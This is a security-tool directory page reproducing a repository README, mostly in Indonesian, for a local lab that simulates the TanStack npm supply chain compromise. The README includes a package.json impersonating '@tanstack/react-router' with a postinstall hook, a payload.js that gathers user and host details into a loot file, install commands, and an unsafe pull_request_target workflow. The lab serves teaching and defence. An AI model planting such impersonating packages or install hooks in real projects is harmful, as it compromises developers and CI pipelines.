Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-45321-Tanstack — Educational lab simulating npm supply chain attacks, CI/CD abuse, and install-time code execution via CVE-2026-45321. Hands-on defensive security research for understanding dependency compromise and lifecycle hook exploitation. | Kitploit
Tools/GitHubGitHub/renewablehacking/cve-2026-45321-tanstack
Vulnerability AnalysisMalware AnalysisSupply Chain SecurityLearning & EducationLabs & Practice
GitHubrenewablehacking/cve-2026-45321-tanstack

CVE-2026-45321-Tanstack

Educational lab simulating npm supply chain attacks, CI/CD abuse, and install-time code execution via CVE-2026-45321. Hands-on defensive security research for understanding dependency compromise and lifecycle hook exploitation.

View Repository
345 months agoNot yet reviewed
Share
Content not available in the requested language. Showing English version.

Simulasi Supply Chain Attack — CVE-2026-45321 (TanStack)

Educational Lab for Understanding npm Supply Chain Attacks, CI/CD Abuse, and Install-Time Code Execution

Disclaimer

Project ini dibuat hanya untuk:

  • pembelajaran keamanan siber,
  • riset defensive security,
  • simulasi local lab,
  • memahami konsep supply chain attack.

Jangan gunakan project ini untuk:

  • menyerang sistem nyata,
  • mencuri credential,
  • malware deployment,
  • unauthorized access,
  • atau aktivitas ilegal lainnya.

Deskripsi

Lab ini mensimulasikan konsep dasar dari insiden:

  • CVE-2026-45321
  • TanStack npm Supply Chain Compromise
  • GitHub Actions CI/CD Abuse
  • npm Lifecycle Script Execution

Simulasi dilakukan secara lokal dan aman tanpa:

  • credential stealing nyata,
  • token exfiltration,
  • atau kompromi layanan pihak ketiga.

Struktur Lab

lab/
├── fake-repo/          # Simulasi repository target
├── attacker-package/   # Simulasi package malicious
└── victim-project/     # Simulasi korban

Cara Kerja Simulasi

Attacker Package
        ↓
npm install
        ↓
postinstall script berjalan
        ↓
payload.js dieksekusi otomatis
        ↓
Korban terkena install-time execution

Konsep yang Dipelajari

  • npm lifecycle hooks
  • install-time arbitrary code execution
  • supply chain attack
  • CI/CD trust boundary
  • malicious npm package
  • postinstall abuse
  • dependency compromise

Instalasi

1. Clone Repository

git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git

cd CVE-2026-45321-Tanstack

Setup Attacker Package

2. Masuk ke Folder Attacker Package

cd attacker-package

3. Install Dependency

npm install

4. Build Tarball Package

npm pack

Hasil:

tanstack-react-router-1.169.5.tgz

Simulasi Victim

5. Masuk ke Victim Project

cd ../victim-project

6. Install Malicious Package

npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts

Output

Jika berhasil maka akan muncul:

=== MALICIOUS PAYLOAD EXECUTED ===

dan file:

loot.txt

akan dibuat secara otomatis.


Contoh payload.js

const os = require('os');
const fs = require('fs');

console.log("=== MALICIOUS PAYLOAD EXECUTED ===");

const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;

console.log(info);

fs.writeFileSync("loot.txt", info);

Contoh package.json

{
  "name": "@tanstack/react-router",
  "version": "1.169.5",
  "scripts": {
    "postinstall": "node payload.js"
  }
}

Simulasi CI/CD

Project ini juga dapat digunakan untuk memahami:

  • GitHub Actions
  • pull_request_target
  • CI/CD privilege boundary
  • dependency execution

Contoh workflow:

name: CI

on:
  pull_request_target:

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4

      - run: npm install

Hubungan dengan CVE-2026-45321

Simulasi LabDunia Nyata
attacker-packagecompromised TanStack package
payload.jsmalicious installer
postinstalllifecycle hook abuse
victim-projectdeveloper/CI korban
fake-repoGitHub Actions pipeline

Referensi

  • https://nvd.nist.gov/vuln/detail/CVE-2026-45321
  • https://tanstack.com/blog/npm-supply-chain-compromise-postmortem
  • https://docs.npmjs.com/cli/v10/using-npm/scripts
  • https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions

Educational Purpose Only

Lab ini dibuat untuk meningkatkan awareness mengenai:

  • keamanan supply chain,
  • keamanan dependency,
  • keamanan CI/CD,
  • dan defensive security research.
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    279

Explore all tools

Browse our collection of tools

View all tools →